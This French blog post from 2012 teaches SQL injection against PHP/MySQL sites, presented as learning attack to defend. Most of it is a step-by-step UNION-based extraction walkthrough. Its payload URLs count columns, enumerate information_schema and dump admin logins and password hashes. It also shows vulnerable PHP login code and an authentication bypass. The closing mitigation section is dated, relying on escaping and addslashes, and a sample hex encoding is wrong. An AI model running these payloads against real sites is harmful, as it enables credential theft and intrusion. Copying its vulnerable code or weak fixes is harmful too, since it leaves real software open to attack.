Don't Learn to Hack but Hack to Learn ***** Apprendre l'attaque pour mieux se défendre

dimanche 5 août 2012

SQL injection

SQL injection :

Définition :

Une injection SQL est un type d'exploitation d'une faille de sécurité d'une application web, en injectant une requête SQL non prévue par le système et pouvant compromettre sa sécurité.

Le langage SQL, «StructuredQueryLanguage », est le langage standardisé d'interrogation des bases de données.

Les techniques d'injection SQL consistent à introduire du code supplémentaire dans  une requête SQL. Elles permettent à un utilisateur malveillant de récupérer des données de manière illégitime ou de prendre le contrôle du système.

Le contexte des injections SQL est très varié, il concerne toutes les applications utilisant une base SQL.

1.Attaques de type "SQL injection :

1.2C   1.1. contournement de l’authentification :

1.1.1. Principede fonctionnement:

Commençons par regarder comment fonctionne une requête SQL.L’utilisateur fournit à l'application un nom utilisateur et un mot de passe. Si ceux-ci correspondent, il est authentifié et peut utiliser l'application.

L'exemple suivant montre l'exploitation d'une faille sur une page d'authentification non sécurisée.

La page est codée comme suit :

<?php

$username = $_POST['user'];

$password = $_POST['pass'];

$req=“SELECT * FROM users WHERE user_name='$username' AND

user_password='$password'” ;

$result = mysql_query ($req) or die (mysql_error());

if(mysql_affected_rows()>0)

{

    echo "Correct user name and password";

}else{

    echo "Wrong user name and password";

}

?>


Supposant que les paramètres d'authentification sont «  Ahmed » et « password ».

Donc après la saisie d’ahmed et password, la requête SQL devient :

SELECT * FROM users WHERE user_name='ahmed' AND user_password='password'

Les données entrées par l'utilisateur influent directement sur la requête et donc sur le résultat de celle-ci. Si aucun enregistrement n'est trouvé, c'est que soit le nom d'utilisateur, soit le mot de passe est incorrect. Pour être identifié dans cette application, il faut que la requête retourne un ou plusieurs enregistrements. Les techniques de SQL injection consistent justement à manipuler les entrées de l'application de façon non prévue par les développeurs pour altérer le fonctionnement en utilisant les paramètres:

user_name='ahmed' or '1'='1 'user_password=' ahmed' or '1'='1 '

On put utiliser: ' or '1'='1 on obtient:

user_name='' or '1'='1' AND user_password='' or '1'='1'

On obtient la requête suivante :

SELECT * FROM users WHERE user_name='ahmed'or '1'='1' AND user_password='ahmed' or '1'='1'

'1'='1' étant toujours vrai, user_name='' or '1'='1' et user_password='' or '1'='1' sont toujours vrai donc la condition complète est toujours vérifiée.('x' or '1'='1' est toujours vrai quelque soit x appartient à {vrai, faux} donc l'utilisateur est considéré comme authentifié malgré onn’a pas saisi les bons  paramètres d'authentification.

1.1.2. Comment détecter la présence d'une SQL injection :

L'exploitation d'une faille par injection SQL peut être facile par la présence de message d'erreur dans l'application. Cherchons à rendre la requête SQL invalide.

<?php

$username = $_POST['user'];

$password = $_POST['pass'];

$req=“SELECT * FROM users WHERE user_name='$username' AND

user_password='$password'” ;

$result = mysql_query ($req) or die (mysql_error());

if(mysql_affected_rows()>0){

    echo "Correct user name and password";

}else{

    echo "Wrong user name and password";

}

?>

Suite à la saisie d'une simple quotte(')  dans ce formulaire, la requête devient invalide et provoque l'affichage d'un message d'erreur:

“You have an error in your SQL syntax”

Ce script est donc vulnérable, mais il faut aussi tester l'utilisation de double-quotte pour tester cette faille. Cependant le serveur où le script s'exécute peutêtre configuré pour ne pas afficher de message d'erreur (Mettre display_errors = Off dans php.ini par exemple) ou bien utiliser des try/catch (C#, Java, PHP5 ...) pour gérer les exceptions, les anomalies de fonctionnement et donner l'impression d'un fonctionnement normal de l'application.

1.2. UNION SQL Injection

L’objectif de la commande SQL «UNION » et de combiner les résultats de plusieurs requêtes, l’SQL injection  par la commande UNION permit d’injecter une autre requête afin d’obtenir  des informations sensible de la base de données comme par exemple le nom et le mot de passe de l’administrateur de l’application web. 

1.2.1Comment détecter la présence de cette vulnérabilité

On peut aussi détecter la présence d'une SQL injection par la saisie d'une simple quotte à la fin de l'URL sous  forme: <<page.php?id=integer>> d'un site web, par exemple si on suppose que nous avons un site comme celui-ci :http://www.site.com/article.php?id=5

exemple de code:
<?php
          $id = $_GET['id'];
          $result = mysql_query( "SELECT * FROM article WHERE id = '$id'");
            ...................
          ?>


Maintenant  on ajoute à la fin de l'URL une quote << ' >>:

  http://www.site.com/article.php?id=5'

si nous obtenons une erreur sur la page comme: You have an error in your SQL syntax; ....
ou le contenu de la page se change Cela signifie que le site est vulrnable à l'injection SQL

Probleme:

On veut avoir le login et le mot de passe de l'administrateur de site, nous ne connaissons pas le nom de la table qui contient l'admin et son mot de passe ainsi que les différents champs de cette table; donc pour réussir à afficher des informations importantes sur les différentes tables de la Bdd, plusieurs challenges se posent à nous:


1.2.2Trouver le nombre de colonnes d'une table

pour trouver le nombre de colonnes on utilise l'instruction ORDER BY

Trier par numéro de colonne permet de tester si cette colonne existe tout simplement incrémenter le nombre jusqu'à ce que nous obtenons une erreur sur la page.


http://www.site.com/news.php?id=5 order+by+1--  ( aucune erreur) ie: la colone 1 existe

http://www.site.com/news.php?id=5 order+by+2--  ( aucune erreur)

http://www.site.com/news.php?id=5 order+by+3--  ( aucune erreur)

.                        .
.                        .
.                        .
.                        .


http://www.site.com/news.php?id=5 order+by+10--  ( aucune erreur)

http://www.site.com/news.php?id=5 order+by+11--  ( erreur nous recevons un message comme celui-ci:

Unknown column '11' in 'order clause') ie: la colonne 11 n'existe pas cela signifie que l'on a 10 colonnes, car nous avons une erreur sur 11.

Remarque: MySQL considère que ce qui suit un < -- > est un commentaire et ignore les caractères suivants, cela permet de ne pas être gêné par le guillemet simple (quote) venant de la requête d'origine, si ça marche pas avec -- on peut utiliser /* par exemple (voir la syntaxe sql) .


1.2.3.Conaitre les colonnes infectés:

Une fois connaitre le nombre de colonnes, on réalise une première union.

http://www.site.com/article.php?id=5+union+all+select+1,2,3,4,5,6,7,8,9,10-- (nous avons déjà constaté que le nombre de colonnes sont 10 de la section 4.1 )

si nous voyons quelques chiffres sur la page, c'est à dire 1 ou 2 ou 3 jusqu à 10, les colonnes affichés sont vulnérables.

s'il s'affiche pas des chiffres utiliser << - >> avant la valeur de la variable infecté ie:

http://www.site.com/article.php?id=-5+union+all+select+1,2,3,4,5,6,7,8,9,10--

supposons que nous avons le numéro 3 sur la page (la colonne 3 est infecteé).

Remarque:

temps en temps le numéro est affiché à la place de titre de la page ou dans le code source  et n'est pas sur la page


http://www.site.com/article.php?id=5+and+1=2+union+all+select+1,2,3,4,5,6,7,8,9,10--


1.2.4.Récupération de version de la base

nous remplaçons le numéro 3 par @@version ou version ()

http://www.site.com/article.php?id=5+union+all+select+1,2,version(),4,5,6,7,8,9,10--

et on va obtenir quelque chose comme par exemple 4.1.33-log ou 5.0.45 ou similaire.

on peut faire une combinaison pour avoir la vaesion, l'utilisateur et le nom de la bdd en meme temps

en utilisant: concat(user(),0x3a,version(),0x3a,database())

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(user(),0x3a,version(),
0x3a,database()),4,5,6,7,8,9,10--


1.2.5Obtenir le nom de la table et ses colonnes:

-----> si la version de MySQL est <5  ( 4 )  (comme: 4.1.33, 4.1.12, ...) nous devons deviner le nom de la table et le nom de colonne manuellement ie: on prépare une liste qui contient les noms des table et les noms des colonnes les plus utilisés par les développeurs et on va essayer touts les combinaisons possible. par exemple voila quelques noms:


user(s), admin(s), membre(s),administrator(s), administrateur(s) etc...

http://www.site.com/article.php?id=5+union+all+select+1,2,3,4,5,6,7,8,9,10+from+admin--

si vous obtenez une erreur, essayez un autre nom de table.

On suppose qu'On voi le numéro 3 sur la page comme avant, donc c'est bon la table admin existe)

maintenant reste à vérifier les noms de colonnes, voila quelques noms:

noms de colonne pour l'utilisateur et le mot de passe : username, user, usr,login, user_name, password, pass, passwd, pwd etc...

http://www.site.co/article.php?id=5+union+all+select+1,2,user,4,5,6,7,8,9,10+from+admin--

si vous obtenez une erreur, essayez autre nom de colonne.

On suppose qu'On obtient le nom d'utilisateur s'affiche sur la page, par exemple root donc la colonne user existe

Et par la même manière on essaye de trouver le mot de passe

http://www.site.co/article.php?id=5+union+all+select+1,2,pass,4,5,6,7,8,9,10+from+admin--

si vous obtenez une erreur, essayez autre nom de colonne.

on suppose qu'On voi le mot de passe sur la page crypté(en md5, sha1, etc) ou en claire donc la colonne pass existe

On peut faire une combinaison pour avoir l'utilisateur et son mot de passe à la fois en utilisant:   concat(user,0x3a,pass)

notre requête finale:

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(user,0x3a,pass),4,5,6,7,8,9,10+from+admin--


----> si la version de MySQL est >= 5

 on peut utiliser deux méthodes:

 Methodes1:

Comment obtenir les noms des table et des colonne ?

Pour cela nous avons besoin de:  information_schema. Il contient toutes les tables et les colonnes de la base de données.

----->Pour obtenir les table nous utilisons table_name et information_schema.tables

http://www.site.com/article.php?id=5+union+all+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.tables--

http://www.site.com/article.php?id=5+union+all+select+1,2,table_name,4,5,6,7,8,9,10+from+information_schema.tables--

ici on a remplacé le nombre 3 avec table_name pour obtenir la première table de

INFORMATION_SCHEMA.TABLES

Pour afficher toute les tables à la fois en utilisant group_concat() ou on peut utiliser aussi limit *,1 (limit 0,1 limit 1,1 limit 2,1 etc...)

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(table_name),4,5,6,7,8,9,10+from+information_schema.tables--   (si ya pas d'erreur on utilise group)

http://www.site.com/article.php?id=5+union+all+select+1,2,group_concat(table_name),4,5,6,7,8,9,10+from+information_schema.tables--

on suppose qu'on a trouvé la table admin parmi les table trouvés


-----> pour obtenir les nom des colonnes nous utilisons column_name et information_schema.columns

par la même méthode que ci-dessus :

pour afficher toute les nom des colonnes à la fois en utilisant group_concat():

http://www.site.com/article.php?id=5+union+all+select+1,2,group_concat(column_name),4,5,6,7,8,9,10+from+information_schema.columns--

Mais nous intéressons à afficher les noms de colonnes pour une table spécifique (la table qui contient le nom utilisateur et le mot de passe par exemple), et non pas pour toutes les tables.
On a déjà trouvé la table admin.

pour ce faire: on doit coder le nom de la table qu'on veut savoir ses colonnes  par la fonction MYSQL CHAR():
dans notre cas on doit coder le non <admin>
MYSQL CHAR(admin)=(97, 100, 109, 105, 110)

donc pour afficher ses colonne on utilise la requête suivante:

http://www.site.com/article.php?id=5+union+all+select+1,2,column_name,4,5,6,7,8,9,10+from+information_schema.columns+where+table_name+LIKE+CHAR(97, 100, 109, 105, 110)--


on utilise group_contact() pour afficher tous ses colonnes à la fois:

http://www.site.com/article.php?id=5+union+all+select+1,2,group_concat(column_name),4,5,6,7,8,9,10+from
+information_schema.columns+where+table_name+LIKE+CHAR(97, 100, 109, 105, 110)--

supposons que nous avons trouver les colonnes login, pass et email dans la table admin.

Maintenant pour terminer la requête et de les mettre tous ensemble:

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(user,0x3a,pass,0x3a,email),4,5,6,7,8,9,10+from+admin--

 Methodes2:


On peut utiliser un autre astuce, c'est de déterminer les table dont les nons de ses colonnes contient le mot "pass" (%pass%) comme password,mypassword,pass_member, user_pass etc...):

on utilise les requêtes suivantes:

http://www.site.com/article.php?id=5+union+all+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.columns--


http://www.site.com/article.php?id=5+union+all+select+1,2,concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8,9,10+from+information_schema.columns--

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8,9,10+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)--

CHAR(37, 112, 97, 115, 115, 37)= mysql char() de pass


pour avoir toutes les tables dont les nons de ses colonnes contient le mot < pass > on utilise:

group_concat(), on peut utiliser aussi limit *,1 (limit 0,1 limit 1,1 limit 2,1 etc...)

http://www.site.com/article.php?id=5+union+all+select+1,2,group_concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8,9,10+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)--

on suppose qu'on va avoir:

admin:pass:mydb
visite:passion:mydb
...............

dans notre cas on va prendre la table admin

allez au site: http://www.waraxe.us/sql-char-encoder.html (Sql ---> MySql hex-encoded string)

pour coder la table admin

on suppose qu'on obtient le résultat suivant: 0x374833C37374836490448

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8,9,10+from+information_schema.columns+where+table_name=0x374833C37374836490448--

pour avoir toutes les nons des colonnes de la table admin on utilise:

http://www.site.com/article.php?id=5+union+all+select+1,2,group_concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8,9,10+from+information_schema.columns+where+table_name=0x374833C37374836490448--

on suppose qu'on va avoir quelque chose utile comme:

admin:login:mydb
admin:pass:mydb
admin:email:mydb
.................................................

finalement notre requête devient :

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(login,0x3a,pass),4,5,6,7,8,9,10+from+mydb.admin--

on trouve par exemple:

admin_db:password123 (le mot de passe est en claire)

ou avec une mot de passe crypté:

admin_db:617cb7270a3216bd84108ade4e9d7c23 (dans ce cas on doit décrypté le mot de passe)


on peut faire la même chose pour déterminer les table dont les noms de ses colonnes contient le mot "use" (%use%) comme user,user_name,login_user etc...):

Question: pour quoi on utilise table_schema?

supposons qu'on a la requête:

http://www.site.com/article.php?id=5+union+all+select+1,2,group_concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8,9,10+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)--

tbl_user:password:tbl_sch1 .............(1)
tbl_user:password:tbl_sch2..............(2)

dd_user:user_pass:tbl_sch...............(3)
dd_user:user_password:tbl_sch.......(4)

pour (1) et (2) on doit spécifier la table_schema (ie: tbl_sch1.tbl_user ou tbl_sch2.tbl_user ) car:
si on utilise la requête avec tbl_user et password  sans table_schema
http://www.site.com/article.php?id=5+union+all+select+1,2,password,4,5,6,7,8,9,10+from+tbl_user--
on ne sait pas sur quel table_schema on a pointé (tbl_sch1 ou tbl_sch2)

par contre pour (3) et (4) c'est pas nécessaire de spécifier dans la requête  tbl_sch.dd_user
car la table dd_user appartient à un seul table_schema (tbl_sch)

1. 3. Les risques liés à l'injection SQL :

·         accéder à des données auxquelles on ne devrait pas avoir accès,

·         modifier des données.

·         effacer des données.

·         lire/écrire sur le système de fichier.

·         exécuter des commandes systèmes.

cas pratique:
voire ce video
2.Solution SQL injection :

Pour les variables contenant des chaînes de caractères au lieu d’utiliser la valeur de $_POST ou $_GET directement dans la commande, on la passe à la fonction mysqli_real_escape_string(), qui neutralise tous les caractères susceptibles qui permet de perturber le fonctionnement d’une requête sql comme: ' ,\ "\ etc, en ajoutant une barre oblique inverse juste devant ces caractères.

Remarque:

Il existe une autre fonction quelque peu similaire à mysqli_real_escape_string() , c'est Addslashes() , Mais très récemment, une faille de sécurité a été découverte sur cette fonction si elle est utilisée sur une installation PHP 4.3.9 avec les magic_quotes_gpc activés.

2.1.    Solution de contournement de l’authentification :
On suppose qu’on a:

$username = $_POST['user_name '];
$password = $_POST['user_password '];
SELECT * FROM users WHERE user_name='ahmed' or '1'='1' AND user_password='ahmed' or '1'='1'

Pour empêcher cette injection on utilise la fonction  mysqli_real_escape_string() comme suite :
……………..
$link = mysqli_connect("localhost", "my_user", "my_password"); 
$username = mysqli_real_escape_string($link , $_POST['user_name ']);
$password = mysqli_real_escape_string($link , $_POST['user_password ']);
...............
...............

Ou vous pouvez utiliser aussi :
$username = Addslashes ($_POST['user_name ']);
$password = Addslashes ($_POST ['user_password ']);
La fonction mysqli_real_escape_string() est utilisée pour créer une chaîne SQL valide qui pourra être utilisée dans une requête SQL. La chaîne de caractères est encodée en une chaîne SQL échappée.

Les guillemets sont désormais précédés de barres obliques inverses : on dit qu’ils sont « neutralisés ». Leur valeur SQL est maintenant la même que leur valeur littérale. Ils ont perdu la signification spéciale que leur confère le langage SQL.

Donc larequêtedevient:
SELECT * FROM users WHERE user_name=='\' or \'1\'=\'1' AND user_password='\' or \'1\'='\1'

Toutefois, pour bien assurer la neutralisation de l’ensemble, il faut que la chaîne fournieSoit placée entre guillemets dans la requête. Les types de guillemets, qu’ils soient simplesou doubles, n’ont pas d’importance, car mysqli_real_escape_string() sait aussi neutraliser les guillemets doubles.

2.2.     Solution de l’injection par la commande UNION
On suppose qu'on a:


<?php
$id = $_POST['id'];
$requete = mysql_query("SELECT age FROM membres WHERE id=$id");
?>

Si un pirate veut injecter du code SQL, il n'aura pas besoin d'utiliser les quottes, puisque la variable $id n'est pas entourée de quottes donc pour les variables numériques les fonctions précédentes  ne serviraient à rien ici.

En utilisant la commande sql « UNION » notre requette devient :
SELECT age FROM membres WHERE id= 2 UNION SELECT password FROM membres WHERE id=1

Pour l'éviter, il y a deux solutions :

•    changer le contenu de la variable pour qu'elle ne contienne que des nombres.
•    vérifier si la variable contient réellement un chiffre avant de l'utiliser dans une requête.

a/ On utilise la fonction intval() qui retourne la valeur numérique entière (entier) de la variable var, en convertissant la valeur dans la base spécifiée (par défaut en base 10). intval() ne doit pas être utilisée sur des objets.


<?php
$id = intval($_POST['id']);
$requete = mysql_query("SELECT age FROM membres WHERE id=$id");
?>


b/ On utilise une fonction is_numeric() qui Détermine si la variable donnée est de type numérique elle retourne TRUE lorsqu'une variable ne contient que des nombres et FALSE si ce n'est pas le cas

Exemple:


<?php
$id = $_POST['id'];
if (is_numeric($id))
{
$requete = mysql_query("SELECT age FROM membres WHERE id=$id");
}
 

cas pratique:
voire ce video

Aucun commentaire:

Enregistrer un commentaire